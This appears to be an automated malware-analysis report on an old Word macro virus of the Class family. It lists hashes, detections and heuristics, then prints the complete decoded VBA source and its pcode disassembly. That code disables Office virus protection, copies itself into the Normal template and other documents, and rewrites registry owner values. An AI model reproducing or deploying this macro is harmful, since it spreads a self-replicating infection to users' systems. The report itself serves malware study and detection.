Office (OLE) malware analysis — malicious · 77714a8156b35a86

MALICIOUS

Office (OLE)

33.0 KB Created: 1999-11-13 16:27:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14

MD5: 57132242b22ae007b7289d043106f94e SHA-1: a922f45599adb19db0d7d48a71c53aadeb46620a SHA-256: 77714a8156b35a863fba9b5292c18efd353f07c9a40b21d0872a3a19edacfda3

256 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains legacy WordBasic macro virus markers and VBA macros, including AutoOpen and Auto_Close functions, indicating an attempt to execute malicious code upon opening. The macro code attempts to disable virus protection and modify system settings, suggesting a malicious intent to compromise the system.

Heuristics 6

ClamAV: Doc.Trojan.Class-37 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Trojan.Class-37
VBA macros detected medium 3 related findings OLE_VBA_MACROS

Document contains VBA macro code
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION

VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
Matched line in script
```
Options.VirusProtection = False
```
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
Sub AutoOpen()
```
Auto_Close macro low OLE_VBA_AUTOCLOSE

Auto_Close macro
Matched line in script
```
    .replaceline 1, "Sub AutoClose()"
```
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS

OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	14879 bytes
SHA-256: `d4fc962fa94098cde5a64656ba30da941fa6ab01d8d5a7d1e5804e54ede60b4c`
Detection ClamAV: Doc.Trojan.Class-23 Obfuscation or payload: unlikely
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Private Declare Function RegOpenKeyExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long 'Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc Private Declare Function RegSetValueExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpValue As String, ByVal cbData As Long) As Long 'Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long 'Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc Const REG_SZ As Long = 1 'Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc Const HKEY_CURRENT_USER As Long = &H80000001 'Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc Const HKEY_LOCAL_MACHINE As Long = &H80000002 'Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc Sub AutoOpen() 'Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc On Error GoTo out 'Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc Options.VirusProtection = False 'Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc Options.SaveNormalPrompt = False 'Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc Options.ConfirmConversions = False 'Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc ad = ActiveDocument.VBProject.VBComponents.Item(1).codemodule.CountOfLines 'Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc nt = NormalTemplate.VBProject.VBComponents.Item(1).codemodule.CountOfLines 'Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc If nt > 70 And ad > 0 Then GoTo out 'Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc If nt < 70 Then 'Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc Set host = NormalTemplate.VBProject.VBComponents.Item(1) 'Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc ActiveDocument.VBProject.VBComponents.Item(1).Name = host.Name 'Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc ActiveDocument.VBProject.VBComponents.Item(1).Export "c:\class.sys" 'Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc End If 'Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc If ad = 0 Then Set host = ActiveDocument.VBProject.VBComponents.Item(1) 'Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc 'Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc host.codemodule.AddFromFile ("c:\class.sys") 'Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc With host.codemodule 'Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc For x = 1 To 16 'Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc .deletelines 1 'Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc Next x 'Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc End With 'Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc If nt < 70 Then 'Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc With host.codemodule 'Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc .replaceline 1, "Sub AutoClose()" 'Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc .replaceline 91, "Sub ToolsMacro()" 'Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc For x = 70 To 81 'Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc .deletelines 62 'Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc Next x 'Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc .replaceline 35, " For x = 1 To 4" 'Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc End With 'Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc End If 'Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc If nt < 70 Then 'Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc u = RegOpenKeyExA(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion", 0, KEY_ALL_ACCESS, k) 'Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc u = RegSetValueExA(k, "RegisteredOwner", 0, REG_SZ, "VicodinES /CB /TNN", 1) 'Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc u = RegSetValueExA(k, "RegisteredOrganization", 0, REG_SZ, "-(Dr. Diet Mountain Dew)-", 1) 'Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc u = RegCloseKey(k) 'Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc End If 'Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc With host.codemodule 'Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc For x = 2 To 104 Step 2 'Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc .replaceline x, "'" & Application.UserName & Now & Application.ActivePrinter & Application.ActiveWindow 'Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc Next x 'Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc End With 'Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc out: 'Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc If nt > 70 And ad = 0 Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName 'Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc End Sub 'Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc Sub ViewVBCode() 'Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc End Sub ' Processing file: /tmp/qstore_9c4uywh6 ' =============================================================================== ' Module streams: ' Macros/VBA/ThisDocument - 8679 bytes ' Line #0: ' FuncDefn (Private Declare Function RegOpenKeyExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long) ' Line #1: ' QuoteRem 0x0000 0x002D "Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc" ' Line #2: ' FuncDefn (Private Declare Function RegSetValueExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpValue As String, ByVal cbData As Long) As Long) ' Line #3: ' QuoteRem 0x0000 0x002D "Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc" ' Line #4: ' FuncDefn (Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long) ' Line #5: ' QuoteRem 0x0000 0x002D "Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc" ' Line #6: ' Dim (Const) ' LitDI2 0x0001 ' VarDefn REG_SZ (As Long) ' Line #7: ' QuoteRem 0x0000 0x002D "Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc" ' Line #8: ' Dim (Const) ' LitHI4 0x0001 0x8000 ' VarDefn HKEY_CURRENT_USER (As Long) ' Line #9: ' QuoteRem 0x0000 0x002D "Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc" ' Line #10: ' Dim (Const) ' LitHI4 0x0002 0x8000 ' VarDefn HKEY_LOCAL_MACHINE (As Long) ' Line #11: ' QuoteRem 0x0000 0x002D "Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc" ' Line #12: ' FuncDefn (Sub AutoOpen()) ' Line #13: ' QuoteRem 0x0000 0x002D "Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc" ' Line #14: ' OnError out ' Line #15: ' QuoteRem 0x0000 0x002D "Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc" ' Line #16: ' LitVarSpecial (False) ' Ld Options ' MemSt VirusProtection ' Line #17: ' QuoteRem 0x0000 0x002D "Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc" ' Line #18: ' LitVarSpecial (False) ' Ld Options ' MemSt SaveNormalPrompt ' Line #19: ' QuoteRem 0x0000 0x002D "Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc" ' Line #20: ' LitVarSpecial (False) ' Ld Options ' MemSt ConfirmConversions ' Line #21: ' QuoteRem 0x0000 0x002D "Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc" ' Line #22: ' LitDI2 0x0001 ' Ld ActiveDocument ' MemLd VBProject ' MemLd VBComponents ' ArgsMemLd Item 0x0001 ' MemLd codemodule ' MemLd CountOfLines ' St ad ' Line #23: ' QuoteRem 0x0000 0x002D "Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc" ' Line #24: ' LitDI2 0x0001 ' Ld NormalTemplate ' MemLd VBProject ' MemLd VBComponents ' ArgsMemLd Item 0x0001 ' MemLd codemodule ' MemLd CountOfLines ' St nt ' Line #25: ' QuoteRem 0x0000 0x002D "Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc" ' Line #26: ' Ld nt ' LitDI2 0x0046 ' Gt ' Ld ad ' LitDI2 0x0000 ' Gt ' And ' If ' BoSImplicit ' GoTo out ' EndIf ' Line #27: ' QuoteRem 0x0000 0x002D "Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc" ' Line #28: ' Ld nt ' LitDI2 0x0046 ' Lt ' IfBlock ' Line #29: ' QuoteRem 0x0000 0x002D "Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc" ' Line #30: ' SetStmt ' LitDI2 0x0001 ' Ld NormalTemplate ' MemLd VBProject ' MemLd VBComponents ' ArgsMemLd Item 0x0001 ' Set host ' Line #31: ' QuoteRem 0x0000 0x002D "Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc" ' Line #32: ' Ld host ' MemLd New ' LitDI2 0x0001 ' Ld ActiveDocument ' MemLd VBProject ' MemLd VBComponents ' ArgsMemLd Item 0x0001 ' MemSt New ' Line #33: ' QuoteRem 0x0000 0x002D "Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc" ' Line #34: ' LitStr 0x000C "c:\class.sys" ' LitDI2 0x0001 ' Ld ActiveDocument ' MemLd VBProject ' MemLd VBComponents ' ArgsMemLd Item 0x0001 ' ArgsMemCall Export 0x0001 ' Line #35: ' QuoteRem 0x0000 0x002D "Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc" ' Line #36: ' EndIfBlock ' Line #37: ' QuoteRem 0x0000 0x002D "Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc" ' Line #38: ' Ld ad ' LitDI2 0x0000 ' Eq ' If ' BoSImplicit ' SetStmt ' LitDI2 0x0001 ' Ld ActiveDocument ' MemLd VBProject ' MemLd VBComponents ' ArgsMemLd Item 0x0001 ' Set host ' EndIf ' Line #39: ' QuoteRem 0x0000 0x002D "Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc" ' Line #40: ' Line #41: ' QuoteRem 0x0000 0x002D "Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc" ' Line #42: ' LitStr 0x000C "c:\class.sys" ' Paren ' Ld host ' MemLd codemodule ' ArgsMemCall AddFromFile 0x0001 ' Line #43: ' QuoteRem 0x0000 0x002D "Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc" ' Line #44: ' StartWithExpr ' Ld host ' MemLd codemodule ' With ' Line #45: ' QuoteRem 0x0000 0x002D "Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc" ' Line #46: ' StartForVariable ' Ld x ' EndForVariable ' LitDI2 0x0001 ' LitDI2 0x0010 ' For ' Line #47: ' QuoteRem 0x0000 0x002D "Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc" ' Line #48: ' LitDI2 0x0001 ' ArgsMemCallWith deletelines 0x0001 ' Line #49: ' QuoteRem 0x0000 0x002D "Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc" ' Line #50: ' StartForVariable ' Ld x ' EndForVariable ' NextVar ' Line #51: ' QuoteRem 0x0000 0x002D "Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc" ' Line #52: ' EndWith ' Line #53: ' QuoteRem 0x0000 0x002D "Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc" ' Line #54: ' Ld nt ' LitDI2 0x0046 ' Lt ' IfBlock ' Line #55: ' QuoteRem 0x0000 0x002D "Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc" ' Line #56: ' StartWithExpr ' Ld host ' MemLd codemodule ' With ' Line #57: ' QuoteRem 0x0000 0x002D "Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc" ' Line #58: ' LitDI2 0x0001 ' LitStr 0x000F "Sub AutoClose()" ' ArgsMemCallWith replaceline 0x0002 ' Line #59: ' QuoteRem 0x0000 0x002D "Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc" ' Line #60: ' LitDI2 0x005B ' LitStr 0x0010 "Sub ToolsMacro()" ' ArgsMemCallWith replaceline 0x0002 ' Line #61: ' QuoteRem 0x0000 0x002D "Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc" ' Line #62: ' StartForVariable ' Ld x ' EndForVariable ' LitDI2 0x0046 ' LitDI2 0x0051 ' For ' Line #63: ' QuoteRem 0x0000 0x002D "Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc" ' Line #64: ' LitDI2 0x003E ' ArgsMemCallWith deletelines 0x0001 ' Line #65: ' QuoteRem 0x0000 0x002D "Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc" ' Line #66: ' StartForVariable ' Ld x ' EndForVariable ' NextVar ' Line #67: ' QuoteRem 0x0000 0x002D "Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc" ' Line #68: ' LitDI2 0x0023 ' LitStr 0x0012 " For x = 1 To 4" ' ArgsMemCallWith replaceline 0x0002 ' Line #69: ' QuoteRem 0x0000 0x002D "Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc" ' Line #70: ' EndWith ' Line #71: ' QuoteRem 0x0000 0x002D "Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc" ' Line #72: ' EndIfBlock ' Line #73: ' QuoteRem 0x0000 0x002D "Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc" ' Line #74: ' Ld nt ' LitDI2 0x0046 ' Lt ' IfBlock ' Line #75: ' QuoteRem 0x0000 0x002D "Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc" ' Line #76: ' Ld HKEY_LOCAL_MACHINE ' LitStr 0x0029 "Software\Microsoft\Windows\CurrentVersion" ' LitDI2 0x0000 ' Ld KEY_ALL_ACCESS ' Ld k ' ArgsLd RegOpenKeyExA 0x0005 ' St u ' Line #77: ' QuoteRem 0x0000 0x002D "Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc" ' Line #78: ' Ld k ' LitStr 0x000F "RegisteredOwner" ' LitDI2 0x0000 ' Ld REG_SZ ' LitStr 0x0012 "VicodinES /CB /TNN" ' LitDI2 0x0001 ' ArgsLd RegSetValueExA 0x0006 ' St u ' Line #79: ' QuoteRem 0x0000 0x002D "Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc" ' Line #80: ' Ld k ' LitStr 0x0016 "RegisteredOrganization" ' LitDI2 0x0000 ' Ld REG_SZ ' LitStr 0x0019 "-(Dr. Diet Mountain Dew)-" ' LitDI2 0x0001 ' ArgsLd RegSetValueExA 0x0006 ' St u ' Line #81: ' QuoteRem 0x0000 0x002D "Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc" ' Line #82: ' Ld k ' ArgsLd RegCloseKey 0x0001 ' St u ' Line #83: ' QuoteRem 0x0000 0x002D "Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc" ' Line #84: ' EndIfBlock ' Line #85: ' QuoteRem 0x0000 0x002D "Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc" ' Line #86: ' StartWithExpr ' Ld host ' MemLd codemodule ' With ' Line #87: ' QuoteRem 0x0000 0x002D "Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc" ' Line #88: ' StartForVariable ' Ld x ' EndForVariable ' LitDI2 0x0002 ' LitDI2 0x0068 ' LitDI2 0x0002 ' ForStep ' Line #89: ' QuoteRem 0x0000 0x002D "Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc" ' Line #90: ' Ld x ' LitStr 0x0001 "'" ' Ld Application ' MemLd UserName ' Concat ' Ld Now ' Concat ' Ld Application ' MemLd ActivePrinter ' Concat ' Ld Application ' MemLd ActiveWindow ' Concat ' ArgsMemCallWith replaceline 0x0002 ' Line #91: ' QuoteRem 0x0000 0x002D "Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc" ' Line #92: ' StartForVariable ' Ld x ' EndForVariable ' NextVar ' Line #93: ' QuoteRem 0x0000 0x002D "Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc" ' Line #94: ' EndWith ' Line #95: ' QuoteRem 0x0000 0x002D "Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc" ' Line #96: ' Label out ' Line #97: ' QuoteRem 0x0000 0x002D "Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc" ' Line #98: ' Ld nt ' LitDI2 0x0046 ' Gt ' Ld ad ' LitDI2 0x0000 ' Eq ' And ' If ' BoSImplicit ' Ld ActiveDocument ' MemLd FullName ' ParamNamed FileName ' Ld ActiveDocument ' ArgsMemCall SaveAs 0x0001 ' EndIf ' Line #99: ' QuoteRem 0x0000 0x002D "Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc" ' Line #100: ' EndSub ' Line #101: ' QuoteRem 0x0000 0x002D "Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc" ' Line #102: ' FuncDefn (Sub ViewVBCode()) ' Line #103: ' QuoteRem 0x0000 0x002D "Mike Pavluschick19.02.99 14:03:13GoatW8-2.doc" ' Line #104: ' EndSub

Open this report in the interactive analyzer, or submit your own file for analysis.